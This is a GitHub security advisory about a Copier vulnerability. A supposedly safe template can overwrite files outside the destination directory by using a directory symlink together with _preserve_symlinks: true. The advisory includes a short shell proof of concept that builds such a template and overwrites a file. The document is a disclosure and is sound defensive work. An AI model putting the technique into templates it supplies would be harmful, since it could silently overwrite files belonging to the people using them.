GHSA-4fqp-r85r-hxqh
Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
> [!NOTE]
>
> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.
Reproducible example (may or may not work depending on directory entry yield order):
```shell
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd
mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd
uvx copier copy --overwrite src/ dst/
cat other/sensitive.txt
# overwritten
```
### Patches
n/a
### Workarounds
n/a
### References
n/a
References
External links from the advisory. They lead to third-party sites.
- https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh
- https://nvd.nist.gov/vuln/detail/CVE-2026-23986
- https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6
- https://github.com/copier-org/copier
- https://github.com/copier-org/copier/releases/tag/v9.11.2